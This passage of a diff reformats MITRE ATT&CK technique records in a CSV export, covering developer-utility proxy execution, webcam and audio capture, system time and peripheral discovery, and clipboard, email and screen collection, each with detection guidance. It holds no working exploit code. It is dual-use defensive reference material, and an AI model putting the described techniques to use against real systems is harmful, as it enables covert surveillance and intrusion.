behavior.",False,['User'],['Windows'],2.1,,,,,,, +attack-pattern,attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:39.262Z,2021-10-15T23:57:08.312Z,Trusted Developer Utilities Proxy Execution,"Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1127', 'external_id': 'T1127'}, {'source_name': 'engima0x3 DNX Bypass', 'description': 'Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.', 'url': 'https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/'}, {'source_name': 'engima0x3 RCSI Bypass', 'description': 'Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.', 'url': 'https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/'}, {'source_name': 'Exploit Monday WinDbg', 'description': 'Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.', 'url': 'http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html'}, {'source_name': 'LOLBAS Tracker', 'description': 'LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Casey Smith', 'Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Command: Command Execution']",['Application control'],"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. -Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",,,,,False,,,['User'],['Windows'],,,,1.2 -2017-05-31 21:31:37.917000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. +Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",False,['User'],['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:37.917Z,2020-07-14T19:40:47.644Z,Video Capture,"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. -In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1125', external_id='T1125'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/634.html', external_id='CAPEC-634'), ExternalReference(source_name='objective-see 2017 review', description='Patrick Wardle. (n.d.). Retrieved March 20, 2018.', url='https://objective-see.com/blog/blog_0x25.html')]",attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-07-14 19:40:47.644000+00:00,Video Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Process: OS API Execution', 'Command: Command Execution']",,,,,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. +In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1125', 'external_id': 'T1125'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/634.html', 'external_id': 'CAPEC-634'}, {'source_name': 'objective-see 2017 review', 'description': 'Patrick Wardle. (n.d.). Retrieved March 20, 2018.', 'url': 'https://objective-see.com/blog/blog_0x25.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: OS API Execution', 'Command: Command Execution']",,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. -Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",,,,,False,,,['User'],"['Windows', 'macOS']",,,,1.0 -2017-05-31 21:31:37.450000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",False,['User'],"['Windows', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:37.450Z,2021-04-22T23:09:24.799Z,System Time Discovery,"An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) -This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1124', external_id='T1124'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/295.html', external_id='CAPEC-295'), ExternalReference(source_name='MSDN System Time', description='Microsoft. (n.d.). System Time. Retrieved November 25, 2016.', url='https://msdn.microsoft.com/ms724961.aspx'), ExternalReference(source_name='Technet Windows Time Service', description='Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.', url='https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings'), ExternalReference(source_name=""RSA EU12 They're Inside"", description='Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.', url='https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf'), ExternalReference(source_name='AnyRun TimeBomb', description='Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.', url='https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/')]",attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-22 23:09:24.799000+00:00,System Time Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"[""FIRST.ORG's Cyber Threat Intelligence SIG""]","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.,,,,,False,,,['User'],['Windows'],,,,1.2 -2017-05-31 21:31:34.528000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. +This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1124', 'external_id': 'T1124'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/295.html', 'external_id': 'CAPEC-295'}, {'source_name': 'MSDN System Time', 'description': 'Microsoft. (n.d.). System Time. Retrieved November 25, 2016.', 'url': 'https://msdn.microsoft.com/ms724961.aspx'}, {'source_name': 'Technet Windows Time Service', 'description': 'Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.', 'url': 'https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings'}, {'source_name': ""RSA EU12 They're Inside"", 'description': 'Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.', 'url': 'https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf'}, {'source_name': 'AnyRun TimeBomb', 'description': 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.', 'url': 'https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"[""FIRST.ORG's Cyber Threat Intelligence SIG""]","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.,False,['User'],['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:34.528Z,2020-07-14T19:42:10.235Z,Audio Capture,"An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. -Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1123', external_id='T1123'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/634.html', external_id='CAPEC-634')]",attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-07-14 19:42:10.235000+00:00,Audio Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']",,,,,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. +Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1123', 'external_id': 'T1123'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/634.html', 'external_id': 'CAPEC-634'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']",,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. -Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:31:28.471000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1120', external_id='T1120'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/646.html', external_id='CAPEC-646')]",attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 17:42:03.337000+00:00,Peripheral Device Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",False,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:28.471Z,2020-03-26T17:42:03.337Z,Peripheral Device Discovery,"Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1120', 'external_id': 'T1120'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/646.html', 'external_id': 'CAPEC-646'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS']",,,,1.2 -2017-05-31 21:31:27.985000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS']",1.2,,,,,,, +attack-pattern,attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:27.985Z,2020-03-31T22:18:43.019Z,Automated Collection,"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. -This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1119', external_id='T1119')]",attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-31 22:18:43.019000+00:00,Automated Collection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Command: Command Execution', 'Script: Script Execution']",,,,,"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,['Permissions to access directories and files that store information of interest.'],,1.0 -2017-05-31 21:31:25.967000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may collect data stored in the clipboard from users copying information within or between applications. +This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1119', 'external_id': 'T1119'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution', 'Script: Script Execution']",,"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['Linux', 'macOS', 'Windows']",1.0,,['Permissions to access directories and files that store information of interest.'],,,,, +attack-pattern,attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:25.967Z,2020-04-23T18:35:58.230Z,Clipboard Data,"Adversaries may collect data stored in the clipboard from users copying information within or between applications. -In Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1115', external_id='T1115'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/637.html', external_id='CAPEC-637'), ExternalReference(source_name='MSDN Clipboard', description='Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.', url='https://msdn.microsoft.com/en-us/library/ms649012'), ExternalReference(source_name='Operating with EmPyre', description='rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.', url='https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363')]",attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-04-23 18:35:58.230000+00:00,Clipboard Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']",,,,,"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",,,,,False,,,,"['Linux', 'Windows', 'macOS']",,,,1.1 -2017-05-31 21:31:25.454000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1114', external_id='T1114'), ExternalReference(source_name='Microsoft Tim McMichael Exchange Mail Forwarding 2', description='McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', url='https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/')]",attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-04-14 14:22:44.435000+00:00,Email Collection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']","['File: File Access', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,,,"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. +In Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1115', 'external_id': 'T1115'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/637.html', 'external_id': 'CAPEC-637'}, {'source_name': 'MSDN Clipboard', 'description': 'Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/ms649012'}, {'source_name': 'Operating with EmPyre', 'description': 'rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.', 'url': 'https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']",,"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",False,,"['Linux', 'Windows', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:25.454Z,2021-10-15T20:19:33.750Z,Email Collection,"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114', 'external_id': 'T1114'}, {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']","['File: File Access', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. @@ -3127,188 +3336,158 @@ Monitor processes and command-line arguments for actions that could be taken to Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. -Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",,,,,False,,,['User'],"['Windows', 'Office 365', 'Google Workspace']",,,,2.2 -2017-05-31 21:31:25.060000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1113', external_id='T1113'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/648.html', external_id='CAPEC-648'), ExternalReference(source_name='CopyFromScreen .NET', description='Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.', url='https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8'), ExternalReference(source_name='Antiquated Mac Malware', description='Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/')]",attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-24 19:56:37.627000+00:00,Screen Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']",,,,,"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:31:23.587000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",False,['User'],"['Windows', 'Office 365', 'Google Workspace', 'macOS', 'Linux']",2.3,,,,,,, +attack-pattern,attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:25.060Z,2020-03-24T19:56:37.627Z,Screen Capture,"Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1113', 'external_id': 'T1113'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/648.html', 'external_id': 'CAPEC-648'}, {'source_name': 'CopyFromScreen .NET', 'description': 'Microsoft. (n.d.). 